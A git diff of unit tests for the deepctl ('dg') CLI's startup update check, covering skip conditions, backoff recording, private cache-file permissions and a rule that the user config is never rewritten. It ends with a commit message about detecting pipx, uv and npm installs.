@@ -1,22 +1,73 @@
 """Unit tests for startup update check."""
 
+import io
+import json
+import os
+import stat
 import sys
 import threading
 import time
-from pathlib import Path
 from unittest.mock import MagicMock, patch
 
 import pytest
+from deepctl_cmd_update import check_cache
+from deepctl_cmd_update import startup_check as mod
 from deepctl_cmd_update.startup_check import (
     _is_ci,
     _is_oneshot,
-    _read_cache_timestamp,
-    _write_cache_timestamp,
     check_and_notify,
     print_pending_notification,
 )
 
 
+_REAL_IS_CI = mod._is_ci
+_REAL_IS_AGENT = mod._is_agent
+
+
+@pytest.fixture
+def cache_dir(tmp_path, monkeypatch):
+    """dg's cache directory, pointed at a fresh temp dir (not created yet)."""
+    from deepctl import _cache
+
+    root = tmp_path / "cache" / "deepctl"
+    monkeypatch.setattr(_cache, "cache_root", lambda: str(root))
+    return root
+
+
+@pytest.fixture
+def check_allowed(monkeypatch, cache_dir):
+    """A run where the startup checks may start: an interactive person at a
+    terminal, outside CI and ``dg mcp``. Returns the cache directory."""
+    import deepctl_cmd_update.startup_check as core
+
+    monkeypatch.delenv(core.NO_UPDATE_CHECK_ENV_VAR, raising=False)
+    monkeypatch.setattr(core, "_is_ci", lambda: False)
+    monkeypatch.setattr(core, "_stderr_is_terminal", lambda: True)
+    monkeypatch.setattr(core, "_is_agent", lambda: False)
+    monkeypatch.setattr(core, "_is_oneshot", lambda: False)
+    monkeypatch.setattr(core, "_subcommand", lambda: None)
+    monkeypatch.setattr(core, "_get_check_interval_seconds", lambda quiet: 86400.0)
+    return cache_dir
+
+
+@pytest.fixture(autouse=True)
+def _reset_state():
+    mod._thread = None
+    mod._result = {}
+    yield
+    if mod._thread is not None:
+        mod._thread.join(timeout=5.0)
+    mod._thread = None
+    mod._result = {}
+
+
+def _finished_thread() -> threading.Thread:
+    thread = threading.Thread(target=lambda: None)
+    thread.start()
+    thread.join()
+    return thread
+
+
 class TestCIDetection:
     """Test CI environment detection."""
 
@@ -48,14 +99,8 @@ def test_travis(self):
 class TestOneshotDetection:
     """Test one-shot execution detection."""
 
-    @patch.dict(
-        "os.environ",
-        {"UV_INTERNAL__PARENT_INTERPRETER": ""},
-        clear=False,
-    )
-    def test_not_oneshot(self):
-        import os
-        os.environ.pop("UV_INTERNAL__PARENT_INTERPRETER", None)
+    def test_not_oneshot(self, monkeypatch):
+        monkeypatch.delenv("UV_INTERNAL__PARENT_INTERPRETER", raising=False)
         assert _is_oneshot() is False
 
     @patch.dict(
@@ -67,155 +112,340 @@ def test_uvx_oneshot(self):
         assert _is_oneshot() is True
 
 
-class TestCacheTimestamp:
-    """Test file-based timestamp caching."""
-
-    def test_read_missing_cache(self, tmp_path):
-        """Missing cache file returns 0.0."""
-        with patch(
-            "deepctl_cmd_update.startup_check._CACHE_FILE",
-            tmp_path / "nonexistent",
-        ):
-            assert _read_cache_timestamp() == 0.0
-
-    def test_write_and_read_cache(self, tmp_path):
-        """Written timestamp can be read back."""
-        cache_file = tmp_path / "last_version_check"
-        with patch(
-            "deepctl_cmd_update.startup_check._CACHE_FILE", cache_file
-        ), patch(
-            "deepctl_cmd_update.startup_check._CACHE_DIR", tmp_path
-        ):
-            _write_cache_timestamp()
-            ts = _read_cache_timestamp()
-            assert ts > 0.0
-            assert abs(ts - time.time()) < 5.0
-
-
-class TestCheckAndNotify:
-    """Test the startup check lifecycle."""
-
-    @patch.dict("os.environ", {"CI": "true"}, clear=False)
-    def test_suppressed_in_ci(self):
-        """No thread is started in CI."""
-        import deepctl_cmd_update.startup_check as mod
+class TestSkipConditions:
+    """No check thread starts, and no file is written, when a run skips it."""
 
-        mod._thread = None
-        mod._result = {}
-        check_and_notify(current_version="1.0.0")
+    def _assert_skipped(self, cache_dir):
+        with patch.object(mod.threading, "Thread") as thread_cls:
+            check_and_notify(current_version="1.0.0")
+        thread_cls.assert_not_called()
         assert mod._thread is None
+        assert not cache_dir.exists()
 
-    @patch(
-        "deepctl_cmd_update.startup_check._is_ci", return_value=False
-    )
-    @patch(
-        "deepctl_cmd_update.startup_check._is_oneshot",
-        return_value=False,
-    )
-    @patch(
-        "deepctl_cmd_update.startup_check._get_check_interval_seconds",
-        return_value=None,
-    )
-    def test_suppressed_when_never(self, *_mocks):
-        """No thread is started when check_frequency=never."""
-        import deepctl_cmd_update.startup_check as mod
+    def test_starts_when_allowed(self, check_allowed):
+        with patch.object(mod, "_background_check", lambda ver, res: None):
+            check_and_notify(current_version="1.0.0")
+        assert mod._thread is not None
+        assert mod._thread.daemon is True
+        assert mod._thread.name == mod.THREAD_NAME
+
+    def test_quiet(self, check_allowed):
+        with patch.object(mod.threading, "Thread") as thread_cls:
+            check_and_notify(current_version="1.0.0", quiet=True)
+        thread_cls.assert_not_called()
+
+    def test_ci(self, check_allowed, monkeypatch):
+        monkeypatch.setattr(mod, "_is_ci", lambda: True)
+        self._assert_skipped(check_allowed)
+
+    def test_ci_env(self, check_allowed, monkeypatch):
+        monkeypatch.setattr(mod, "_is_ci", _REAL_IS_CI)
+        monkeypatch.setenv("CI", "1")
+        self._assert_skipped(check_allowed)
+
+    def test_agent(self, check_allowed, monkeypatch):
+        monkeypatch.setattr(mod, "_is_agent", lambda: True)
+        self._assert_skipped(check_allowed)
+
+    def test_ai_agent_marker(self, check_allowed, monkeypatch):
+        monkeypatch.setattr(mod, "_is_agent", _REAL_IS_AGENT)
+        monkeypatch.setenv("AI_AGENT", "x")
+        self._assert_skipped(check_allowed)
+
+    def test_stderr_not_a_terminal(self, check_allowed, monkeypatch):
+        monkeypatch.setattr(mod, "_stderr_is_terminal", lambda: False)
+        self._assert_skipped(check_allowed)
+
+    def test_mcp(self, check_allowed, monkeypatch):
+        monkeypatch.setattr(mod, "_subcommand", lambda: "mcp")
+        self._assert_skipped(check_allowed)
+
+    @pytest.mark.parametrize("value", ["1", "true", "yes"])
+    def test_opt_out_env(self, check_allowed, monkeypatch, value):
+        monkeypatch.setenv(mod.NO_UPDATE_CHECK_ENV_VAR, value)
+        self._assert_skipped(check_allowed)
+
+    @pytest.mark.parametrize("value", ["", "0", "false"])
+    def test_opt_out_env_off(self, check_allowed, monkeypatch, value):
+        monkeypatch.setenv(mod.NO_UPDATE_CHECK_ENV_VAR, value)
+        with patch.object(mod, "_background_check", lambda ver, res: None):
+            check_and_notify(current_version="1.0.0")
+        assert mod._thread is not None
 
-        mod._thread = None
-        mod._result = {}
-        check_and_notify(current_version="1.0.0")
-        assert mod._thread is None
+    def test_oneshot(self, check_allowed, monkeypatch):
+        monkeypatch.setattr(mod, "_is_oneshot", lambda: True)
+        self._assert_skipped(check_allowed)
 
-    def test_suppressed_in_quiet_mode(self):
-        """No thread is started in quiet mode."""
-        import deepctl_cmd_update.startup_check as mod
+    def test_unusable_cache_dir(self, check_allowed, monkeypatch):
+        """A foreign-owned cache dir: no check thread, no network, no state."""
+        check_allowed.mkdir(parents=True, mode=0o755)
+        monkeypatch.setattr(
+            check_cache.os, "getuid", lambda: os.stat(check_allowed).st_uid + 1
+        )
+        with patch.object(mod.threading, "Thread") as thread_cls:
+            check_and_notify(current_version="1.0.0")
+        thread_cls.assert_not_called()
+        assert list(check_allowed.iterdir()) == []
 
-        mod._thread = None
-        mod._result = {}
-        check_and_notify(current_version="1.0.0", quiet=True)
-        assert mod._thread is None
+    def test_never(self, check_allowed, monkeypatch):
+        monkeypatch.setattr(mod, "_get_check_interval_seconds", lambda quiet: None)
+        self._assert_skipped(check_allowed)
 
-    @patch.dict("os.environ", {}, clear=False)
-    @patch(
-        "deepctl_cmd_update.startup_check._is_ci", return_value=False
-    )
-    @patch(
-        "deepctl_cmd_update.startup_check._is_oneshot",
-        return_value=False,
-    )
-    @patch(
-        "deepctl_cmd_update.startup_check._get_check_interval_seconds",
-        return_value=86400.0,
-    )
-    @patch(
-        "deepctl_cmd_update.startup_check._read_cache_timestamp",
-        return_value=0.0,
-    )
-    @patch(
-        "deepctl_cmd_update.startup_check._background_check",
+
+class TestSubcommand:
+    @pytest.mark.parametrize(
+        ("args", "expected"),
+        [
+            (["mcp"], "mcp"),
+            (["-q", "mcp", "--transport", "http"], "mcp"),
+            (["--profile", "mcp", "models"], "models"),
+            (["-o", "json", "mcp"], "mcp"),
+            (["models", "mcp"], "models"),
+            (["--quiet"], None),
+        ],
     )
-    def test_thread_starts(
-        self,
-        mock_bg_check,
-        *_mocks,
+    def test_reads_the_run_args(self, monkeypatch, args, expected):
+        from deepctl import _cli
+
+        monkeypatch.setattr(_cli, "_run_args", args)
+        assert mod._subcommand() == expected
+
+
+class TestBackoff:
+    """The cache file records every attempt, success or not."""
+
+    def test_failure_is_recorded_and_waits_a_day(self, check_allowed):
+        with patch("httpx.Client.get", side_effect=OSError("unreachable")):
+            check_and_notify(current_version="1.0.0")
+            mod._thread.join(timeout=5.0)
+
+        state = json.loads((check_allowed / check_cache.UPDATE_FILE).read_text())
+        assert state["ok"] is False
+        assert state["latest"] is None
+        assert state["source"] == "pypi"
+        assert abs(state["checked_at"] - time.time()) < 60
+        assert mod._result == {}
+
+        # The next run within the interval makes no attempt.
+        with patch.object(mod.threading, "Thread") as thread_cls:
+            check_and_notify(current_version="1.0.0")
+        thread_cls.assert_not_called()
+
+    def test_attempt_recorded_before_connecting(self, check_allowed):
+        """A check the process never lets finish still counts."""
+        seen = {}
+
+        def hang(*args, **kwargs):
+            path = check_allowed / check_cache.UPDATE_FILE
+            seen["state"] = json.loads(path.read_text())
+            raise OSError("timed out")
+
+        with patch("httpx.Client.get", side_effect=hang):
+            check_and_notify(current_version="1.0.0")
+            mod._thread.join(timeout=5.0)
+        assert seen["state"]["ok"] is False
+
+    def test_nothing_recorded_until_the_client_is_built(self, check_allowed):
+        """Building the client (CA bundle, proxies) comes before the record."""
+        with patch("httpx.Client.__init__", side_effect=OSError("no CA bundle")):
+            check_and_notify(current_version="1.0.0")
+            mod._thread.join(timeout=5.0)
+        assert not (check_allowed / check_cache.UPDATE_FILE).exists()
+
+    def test_run_ending_before_the_request_keeps_the_check_due(
+        self, check_allowed, monkeypatch
     ):
-        """A daemon thread is started when conditions are met."""
-        import deepctl_cmd_update.startup_check as mod
-
-        mod._thread = None
-        mod._result = {}
-
-        # Make _background_check a no-op
-        mock_bg_check.side_effect = lambda ver, res: None
-
+        """Nothing is recorded until the request is about to go out."""
+        monkeypatch.setitem(sys.modules, "httpx", None)  # import fails
         check_and_notify(current_version="1.0.0")
-        assert mod._thread is not None
-        assert mod._thread.daemon is True
-        mod._thread.join(timeout=2.0)
+        mod._thread.join(timeout=5.0)
+        assert not (check_allowed / check_cache.UPDATE_FILE).exists()
+        assert check_cache.due(check_cache.UPDATE_FILE, 86400.0)
+
+    def test_success_is_recorded(self, check_allowed):
+        response = MagicMock()
+        response.json.return_value = {"info": {"version": "2.0.0"}}
+        with patch("httpx.Client.get", return_value=response):
+            check_and_notify(current_version="1.0.0")
+            mod._thread.join(timeout=5.0)
+
+        state = json.loads((check_allowed / check_cache.UPDATE_FILE).read_text())
+        assert state["ok"] is True
+        assert state["latest"] == "2.0.0"
+        assert mod._result == {"latest": "2.0.0", "current": "1.0.0"}
+
+    def test_due_again_after_the_interval(self, check_allowed):
+        assert check_cache.usable()
+        check_cache.write(check_cache.UPDATE_FILE, ok=False, latest=None, source="pypi")
+        path = check_allowed / check_cache.UPDATE_FILE
+        state = json.loads(path.read_text())
+        state["checked_at"] -= 86401
+        path.write_text(json.dumps(state))
+        assert check_cache.due(check_cache.UPDATE_FILE, 86400.0)
+
+    def test_future_timestamp_is_due(self, check_allowed):
+        assert check_cache.usable()
+        check_cache.write(check_cache.UPDATE_FILE, ok=True, latest="1", source="pypi")
+        path = check_allowed / check_cache.UPDATE_FILE
+        state = json.loads(path.read_text())
+        state["checked_at"] += 10 * 86400
+        path.write_text(json.dumps(state))
+        assert check_cache.due(check_cache.UPDATE_FILE, 86400.0)
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason="POSIX modes")
+class TestCacheFile:
+    def test_modes(self, cache_dir):
+        assert check_cache.usable()
+        check_cache.write(check_cache.UPDATE_FILE, ok=True, latest="1", source="pypi")
+        assert stat.S_IMODE(cache_dir.stat().st_mode) == 0o700
+        path = cache_dir / check_cache.UPDATE_FILE
+        assert stat.S_IMODE(path.stat().st_mode) == 0o600
+        assert [p.name for p in cache_dir.iterdir()] == [check_cache.UPDATE_FILE]
+
+    def test_created_private_under_umask_002(self, cache_dir):
+        old = os.umask(0o002)
+        try:
+            assert check_cache.usable()
+        finally:
+            os.umask(old)
+        assert stat.S_IMODE(cache_dir.stat().st_mode) == 0o700
+
+    @pytest.mark.parametrize("mode", [0o775, 0o770, 0o755, 0o777])
+    def test_own_permissive_dir_is_tightened(self, cache_dir, mode):
+        """Older versions made this directory with a plain mkdir (0775 under umask 002)."""
+        cache_dir.mkdir(parents=True)
+        os.chmod(cache_dir, mode)
+        assert check_cache.usable()
+        assert stat.S_IMODE(cache_dir.stat().st_mode) == 0o700
+        check_cache.write(check_cache.UPDATE_FILE, ok=True, latest="1", source="pypi")
+        assert check_cache.read(check_cache.UPDATE_FILE) is not None
+
+    def test_foreign_owned_dir_is_unusable(self, cache_dir, monkeypatch):
+        cache_dir.mkdir(parents=True, mode=0o755)
+        monkeypatch.setattr(check_cache.os, "getuid", lambda: os.stat(cache_dir).st_uid + 1)
+        assert check_cache.usable() is False
+        assert stat.S_IMODE(cache_dir.stat().st_mode) == 0o755  # left alone
+
+    def test_tightening_failure_is_unusable(self, cache_dir, monkeypatch):
+        cache_dir.mkdir(parents=True)
+        os.chmod(cache_dir, 0o775)
+
+        def refuse(fd, mode):
+            raise PermissionError("read-only")
+
+        monkeypatch.setattr(check_cache.os, "fchmod", refuse)
+        assert check_cache.usable() is False
+
+    def test_symlinked_dir_is_unusable(self, cache_dir, tmp_path):
+        other = tmp_path / "other"
+        other.mkdir(mode=0o700)
+        cache_dir.parent.mkdir(parents=True)
+        cache_dir.symlink_to(other)
+        assert check_cache.usable() is False
+
+    def test_group_writable_dir_is_never_written_without_tightening(self, cache_dir):
+        cache_dir.mkdir(parents=True, mode=0o700)
+        os.chmod(cache_dir, 0o770)
+        check_cache.write(check_cache.UPDATE_FILE, ok=True, latest="1", source="pypi")
+        assert list(cache_dir.iterdir()) == []
+        assert check_cache.read(check_cache.UPDATE_FILE) is None
+
+    def test_group_writable_file_is_not_read(self, cache_dir):
+        assert check_cache.usable()
+        check_cache.write(check_cache.UPDATE_FILE, ok=True, latest="1", source="pypi")
+        os.chmod(cache_dir / check_cache.UPDATE_FILE, 0o666)
+        assert check_cache.read(check_cache.UPDATE_FILE) is None
+
+    def test_symlinked_file_is_not_read(self, cache_dir, tmp_path):
+        cache_dir.mkdir(parents=True, mode=0o700)
+        target = tmp_path / "elsewhere.json"
+        target.write_text(json.dumps({"checked_at": time.time()}))
+        os.chmod(target, 0o600)
+        (cache_dir / check_cache.UPDATE_FILE).symlink_to(target)
+        assert check_cache.read(check_cache.UPDATE_FILE) is None
+
+    @pytest.mark.parametrize("data", ["not json", "[]", '{"checked_at": true}'])
+    def test_bad_contents_read_as_never_checked(self, cache_dir, data):
+        cache_dir.mkdir(parents=True, mode=0o700)
+        path = cache_dir / check_cache.UPDATE_FILE
+        path.write_text(data)
+        os.chmod(path, 0o600)
+        assert check_cache.due(check_cache.UPDATE_FILE, 86400.0)
+
+
+class TestNoConfigWrite:
+    def test_check_never_saves_the_config(self, check_allowed):
+        from deepctl_core import Config
+
+        response = MagicMock()
+        response.json.return_value = {"info": {"version": "2.0.0"}}
+        with (
+            patch.object(Config, "save") as save,
+            patch.object(Config, "_set_config_value") as set_value,
+            patch("httpx.Client.get", return_value=response),
+        ):
+            check_and_notify(current_version="1.0.0")
+            mod._thread.join(timeout=5.0)
+        save.assert_not_called()
+        set_value.assert_not_called()
 
 
 class TestPrintPendingNotification:
     """Test notification display."""
 
     def test_no_notification_when_no_thread(self, capsys):
-        """No output when no thread was started."""
-        import deepctl_cmd_update.startup_check as mod
-
-        mod._thread = None
-        mod._result = {}
         print_pending_notification()
         captured = capsys.readouterr()
         assert captured.err == ""
 
     def test_notification_displayed(self):
         """Notification is printed to stderr when update found."""
-        import deepctl_cmd_update.startup_check as mod
-
-        # Simulate completed thread with result
         mod._result = {"latest": "2.0.0", "current": "1.0.0"}
-        mod._thread = threading.Thread(target=lambda: None)
-        mod._thread.start()
-        mod._thread.join()
-
-        # Capture stderr
-        import io
+        mod._thread = _finished_thread()
 
         stderr_capture = io.StringIO()
         with patch.object(sys, "stderr", stderr_capture):
             print_pending_notification()
 
         output = stderr_capture.getvalue()
+        assert output.count("Update available") == 1
         assert "2.0.0" in output
         assert "1.0.0" in output
         assert "dg update" in output
 
+        # Printed once: a second call has nothing to show.
+        stderr_capture = io.StringIO()
+        with patch.object(sys, "stderr", stderr_capture):
+            print_pending_notification()
+        assert stderr_capture.getvalue() == ""
+
+    def test_running_check_is_dropped_without_waiting(self):
+        """A check still running at exit is never joined."""
+        release = threading.Event()
+        mod._result = {"latest": "2.0.0", "current": "1.0.0"}
+        mod._thread = threading.Thread(target=release.wait, daemon=True)
+        mod._thread.start()
+        thread = mod._thread
+        try:
+            with patch.object(thread, "join") as join:
+                stderr_capture = io.StringIO()
+                started = time.monotonic()
+                with patch.object(sys, "stderr", stderr_capture):
+                    print_pending_notification()
+                elapsed = time.monotonic() - started
+            join.assert_not_called()
+            assert stderr_capture.getvalue() == ""
+            assert elapsed < 2.0
+            assert mod._thread is None
+        finally:
+            release.set()
+            thread.join(timeout=5.0)
+
     def test_no_notification_when_up_to_date(self, capsys):
         """No output when no update is available."""
-        import deepctl_cmd_update.startup_check as mod
-
         mod._result = {}  # No update found
-        mod._thread = threading.Thread(target=lambda: None)
-        mod._thread.start()
-        mod._thread.join()
+        mod._thread = _finished_thread()
 
         print_pending_notification()
         captured = capsys.readouterr()
@@ -230,15 +460,99 @@ def test_no_notification_when_up_to_date(self, capsys):
     )
     def test_broken_pipe_swallowed(self, error):
         """A closed/broken stderr (e.g. `dg mcp` host disconnect) is tolerated."""
-        import deepctl_cmd_update.startup_check as mod
-
         mod._result = {"latest": "2.0.0", "current": "1.0.0"}
-        mod._thread = threading.Thread(target=lambda: None)
-        mod._thread.start()
-        mod._thread.join()
+        mod._thread = _finished_thread()
 
         broken_stderr = MagicMock()
         broken_stderr.write.side_effect = error
         with patch.object(sys, "stderr", broken_stderr):
             # Must not raise.
             print_pending_notification()
+
+
+class TestSavedNotice:
+    """An answer that came too late for its run gives the notice later."""
+
+    @staticmethod
+    def _save(cache_dir, **state):
+        assert check_cache.usable()
+        path = cache_dir / check_cache.UPDATE_FILE
+        path.write_text(json.dumps(state))
+        os.chmod(path, 0o600)
+
+    @staticmethod
+    def _notice() -> str:
+        err = io.StringIO()
+        with patch.object(sys, "stderr", err):
+            print_pending_notification()
+        return err.getvalue()
+
+    def test_printed_once_per_interval(self, check_allowed):
+        self._save(check_allowed, checked_at=time.time(), ok=True, latest="2.0.0")
+        with patch.object(mod.threading, "Thread") as thread_cls:
+            check_and_notify(current_version="1.0.0")
+        thread_cls.assert_not_called()
+        out = self._notice()
+        assert out.count("Update available") == 1 and "2.0.0" in out
+        state = check_cache.read(check_cache.UPDATE_FILE)
+        assert abs(check_cache.notified_at(state) - time.time()) < 60
+
+        check_and_notify(current_version="1.0.0")
+        assert self._notice() == ""
+
+    def test_again_after_the_interval(self, check_allowed):
+        self._save(
+            check_allowed,
+            checked_at=time.time(),
+            ok=True,
+            latest="2.0.0",
+            notified_at=time.time() - 86401,
+        )
+        check_and_notify(current_version="1.0.0")
+        assert "2.0.0" in self._notice()
+
+    @pytest.mark.parametrize(
+        "state",
+        [
+            {"ok": True, "latest": "1.0.0"},
+            {"ok": True, "latest": "0.9.0"},
+            {"ok": False, "latest": None},
+            {"ok": True, "latest": "not a version"},
+        ],
+    )
+    def test_nothing_newer_no_notice(self, check_allowed, state):
+        self._save(check_allowed, checked_at=time.time(), **state)
+        check_and_notify(current_version="1.0.0")
+        assert self._notice() == ""
+
+    def test_late_answer_reaches_the_next_run(self, check_allowed):
+        """A sub-second command drops the result; the second run shows it."""
+        release = threading.Event()
+        response = MagicMock()
+        response.json.return_value = {"info": {"version": "2.0.0"}}
+
+        def slow_get(*args, **kwargs):
+            release.wait(5.0)
+            return response
+
+        with patch("httpx.Client.get", side_effect=slow_get):
+            check_and_notify(current_version="1.0.0")
+            thread = mod._thread
+            assert self._notice() == ""  # run 1 ends before the answer
+            release.set()
+            thread.join(timeout=5.0)
+
+        check_and_notify(current_version="1.0.0")  # run 2: not due
+        assert mod._thread is None
+        out = self._notice()
+        assert out.count("Update available") == 1 and "1.0.0 → 2.0.0" in out
+
+    def test_in_time_notice_is_not_repeated_from_the_cache(self, check_allowed):
+        response = MagicMock()
+        response.json.return_value = {"info": {"version": "2.0.0"}}
+        with patch("httpx.Client.get", return_value=response):
+            check_and_notify(current_version="1.0.0")
+            mod._thread.join(timeout=5.0)
+        assert "2.0.0" in self._notice()
+        check_and_notify(current_version="1.0.0")
+        assert self._notice() == ""
diff --git a/packages/deepctl-cmd-update/tests/unit/test_update_command.py b/packages/deepctl-cmd-update/tests/unit/test_update_command.py
index 3a89f6da..8e9c8246 100644
--- a/packages/deepctl-cmd-update/tests/unit/test_update_command.py
+++ b/packages/deepctl-cmd-update/tests/unit/test_update_command.py
@@ -1,5 +1,6 @@
 """Unit tests for update command."""
 
+import os
 import subprocess
 from unittest.mock import MagicMock, patch
 
@@ -9,6 +10,55 @@
 from deepctl_cmd_update.version_check import VersionInfo
 
 
+def _real_config(tmp_path, monkeypatch):
+    """The default user config (so update.* keys are honored), in tmp_path."""
+    from deepctl_core import Config
+
+    monkeypatch.setenv("HOME", str(tmp_path))
+    monkeypatch.setenv("XDG_CONFIG_HOME", str(tmp_path / "xdg"))
+    path = tmp_path / "xdg" / "deepctl" / "config.yaml"
+    path.parent.mkdir(parents=True, mode=0o700)
+    path.write_text(
+        "profiles:\n  default:\n    project_id: P1\n"
+        "update:\n  installation_method: pipx\n  check_frequency: daily\n"
+    )
+    os.chmod(path, 0o600)
+    config = Config()
+    assert config.config_path == path
+    return config, path
+
+
+class TestConfigUntouched:
+    """dg update never writes the user config (no implicit save)."""
+
+    @pytest.mark.parametrize("returncode", [0, 1])
+    @patch("deepctl_cmd_update.command.subprocess.run")
+    @patch("deepctl_cmd_update.command.InstallationDetector.detect")
+    @patch("deepctl_cmd_update.command.asyncio.run")
+    def test_full_update_leaves_the_file_byte_identical(
+        self, run_check, detect, run, returncode, tmp_path, monkeypatch
+    ):
+        config, path = _real_config(tmp_path, monkeypatch)
+        before = (path.read_bytes(), path.stat().st_mtime_ns)
+        run_check.return_value = VersionInfo(
+            current_version="0.1.0", latest_version="0.2.0", update_available=True
+        )
+        detect.return_value = InstallationInfo(
+            method=InstallMethod.PIP,
+            path="/p",
+            virtual_env=True,
+            editable=False,
+            python_executable="/p/bin/python3",
+        )
+        run.return_value = subprocess.CompletedProcess([], returncode, "", "")
+        UpdateCommand().handle(
+            config=config, auth_manager=MagicMock(), client=MagicMock(), yes=True
+        )
+        assert (path.read_bytes(), path.stat().st_mtime_ns) == before
+        # The legacy key is still readable, and was not rewritten.
+        assert config.get("update.installation_method") == "pipx"
+
+
 class TestUpdateCommand:
     """Test update command functionality."""
 
diff --git a/packages/deepctl-cmd-update/tests/unit/test_version_check.py b/packages/deepctl-cmd-update/tests/unit/test_version_check.py
index f96f4fc6..bde34013 100644
--- a/packages/deepctl-cmd-update/tests/unit/test_version_check.py
+++ b/packages/deepctl-cmd-update/tests/unit/test_version_check.py
@@ -14,6 +14,25 @@
 )
 
 
+@pytest.fixture
+def cache_dir(tmp_path, monkeypatch):
+    """dg's cache directory, pointed at a fresh temp dir (not created yet)."""
+    from deepctl import _cache
+
+    root = tmp_path / "cache" / "deepctl"
+    monkeypatch.setattr(_cache, "cache_root", lambda: str(root))
+    return root
+
+
+@pytest.fixture(autouse=True)
+def _isolated_cache(cache_dir):
+    """Every test here gets its own empty cache directory."""
+    from deepctl_cmd_update import check_cache
+
+    assert check_cache.usable()
+    return cache_dir
+
+
 class TestCheckFrequency:
     """Test check_frequency configuration values."""
 
@@ -274,3 +293,93 @@ def test_update_available(self):
         assert "1.0.0" in msg
         assert "2.0.0" in msg
         assert "dg update" in msg
+
+
+class TestCacheFile:
+    """The last answer lives in the cache file, never in the user config."""
+
+    @staticmethod
+    def _config(values=None):
+        config = MagicMock()
+        values = {"update.check_enabled": True, **(values or {})}
+        config.get.side_effect = lambda key, default=None: values.get(key, default)
+        return config
+
+    @pytest.mark.asyncio
+    async def test_answer_goes_to_the_cache_file(self, cache_dir):
+        from deepctl_cmd_update import check_cache
+
+        config = self._config()
+        checker = VersionChecker(config, "1.0.0")
+        info = VersionInfo(
+            current_version="1.0.0", latest_version="2.0.0", update_available=True
+        )
+        with patch.object(checker, "_check_pypi", AsyncMock(return_value=info)):
+            await checker.check_version(force=True)
+
+        state = check_cache.read(check_cache.UPDATE_FILE)
+        assert state is not None
+        assert (state["ok"], state["latest"], state["source"]) == (
+            True,
+            "2.0.0",
+            "pypi",
+        )
+        config.save.assert_not_called()
+        config._set_config_value.assert_not_called()
+
+    @pytest.mark.asyncio
+    async def test_github_answer_names_its_source(self):
+        from deepctl_cmd_update import check_cache
+
+        checker = VersionChecker(self._config(), "1.0.0")
+        response = MagicMock()
+        response.json.return_value = {"tag_name": "v2.0.0", "html_url": "u"}
+        client = AsyncMock()
+        client.get.return_value = response
+        client.__aenter__ = AsyncMock(return_value=client)
+        client.__aexit__ = AsyncMock(return_value=None)
+        with patch("httpx.AsyncClient", return_value=client):
+            await checker.check_version(force=True, install_method="homebrew")
+        state = check_cache.read(check_cache.UPDATE_FILE)
+        assert state is not None and state["source"] == "github"
+
+    def test_cache_file_wins_over_legacy_keys(self):
+        from deepctl_cmd_update import check_cache
+
+        check_cache.write(check_cache.UPDATE_FILE, ok=True, latest="3.0.0", source="pypi")
+        config = self._config(
+            {
+                "update.last_check": "2000-01-01T00:00:00+00:00",
+                "update.cached_version_info": {
+                    "current_version": "1.0.0",
+                    "latest_version": "9.9.9",
+                    "update_available": True,
+                },
+            }
+        )
+        checker = VersionChecker(config, "1.0.0")
+        assert checker.should_check() is False
+        info = checker._get_cached_info()
+        assert info is not None
+        assert (info.latest_version, info.update_available) == ("3.0.0", True)
+
+    def test_failed_check_has_no_cached_answer(self):
+        from deepctl_cmd_update import check_cache
+
+        check_cache.write(check_cache.UPDATE_FILE, ok=False, latest=None, source="pypi")
+        checker = VersionChecker(self._config(), "1.0.0")
+        assert checker.should_check() is False
+        assert checker._get_cached_info() is None
+
+    def test_legacy_keys_read_when_no_cache_file(self):
+        config = self._config(
+            {
+                "update.cached_version_info": {
+                    "current_version": "1.0.0",
+                    "latest_version": "1.5.0",
+                    "update_available": True,
+                },
+            }
+        )
+        info = VersionChecker(config, "1.0.0")._get_cached_info()
+        assert info is not None and info.latest_version == "1.5.0"
diff --git a/tests/unit/test_base_url_persistence.py b/tests/unit/test_base_url_persistence.py
index 88f00da6..3cd0479a 100644
--- a/tests/unit/test_base_url_persistence.py
+++ b/tests/unit/test_base_url_persistence.py
@@ -90,14 +90,6 @@ def _ffprobe_reset(config, auth, client):
     FfprobeCommand().handle(config, auth, client, reset=True)
 
 
-def _version_cache(config, auth, client):
-    VersionChecker(config)._cache_info(
-        VersionInfo(
-            current_version="0.4.0", latest_version="0.4.1", update_available=True
-        )
-    )
-
-
 def _device_login(config, auth, client):
     auth._store_token(
         TokenResponse(
@@ -124,7 +116,6 @@ def _delete_and_create(config, auth, client):
     _switch_profile,
     _ffprobe_set,
     _ffprobe_reset,
-    _version_cache,
     _device_login,
     _update_install_method,
     _delete_and_create,
@@ -171,3 +162,21 @@ def test_command_never_saves_runtime_base_url(tmp_path, monkeypatch, saver, via)
     monkeypatch.delenv("DEEPGRAM_BASE_URL", raising=False)
     later = Config(config_path=str(path))
     assert later.get_profile().base_url == "https://api.deepgram.com"
+
+
+def test_version_cache_never_writes_the_config(tmp_path, monkeypatch):
+    """The update check's answer goes to the cache directory instead."""
+    from deepctl import _cache
+
+    monkeypatch.setattr(_cache, "cache_root", lambda: str(tmp_path / "cache"))
+    path = tmp_path / "config.yaml"
+    path.write_text(yaml.safe_dump({"profiles": {"default": {"project_id": "P1"}}}))
+    before = path.read_bytes()
+    config = Config(config_path=str(path), base_url=URL)
+    VersionChecker(config)._cache_info(
+        VersionInfo(
+            current_version="0.4.0", latest_version="0.4.1", update_available=True
+        )
+    )
+    assert path.read_bytes() == before
+    assert (tmp_path / "cache" / "update-check.json").is_file()

From 9c18f1b5646e7d7d8d7a6e41a40664818a7d8d05 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 13:15:35 -0500
Subject: [PATCH 35/88] fix(update): detect pipx, uv and npm installs correctly

Install detection now looks at sys.prefix, not the interpreter it
links to. A pipx or uv tool environment on Homebrew's Python resolves
its interpreter into the Cellar, which used to read as a Homebrew
install and send dg update to brew upgrade.

- Homebrew: sys.prefix under Cellar/deepgram/ only.
- uvx: sys.prefix in uv's cache under archive-v*, honoring
  UV_CACHE_DIR. The uv internal interpreter variable alone no longer
  counts, since uv run sets it for project environments too.
- pipx and pipx run: sys.prefix under pipx's venvs or .cache; a
  PIPX_HOME variable alone no longer counts.
- uv tool: sys.prefix directly under the uv tool directory; dg update
  runs uv tool install deepctl@latest, since uv tool upgrade leaves a
  pinned install where it is.
- npm: DEEPCTL_LAUNCHER=npm or npx; dg update prints
  npm i -g @deepgram/cli@latest.

The startup check skips npx runs as it does uvx and pipx run, and the
uvx advice now covers a uv tool install shadowing uvx.

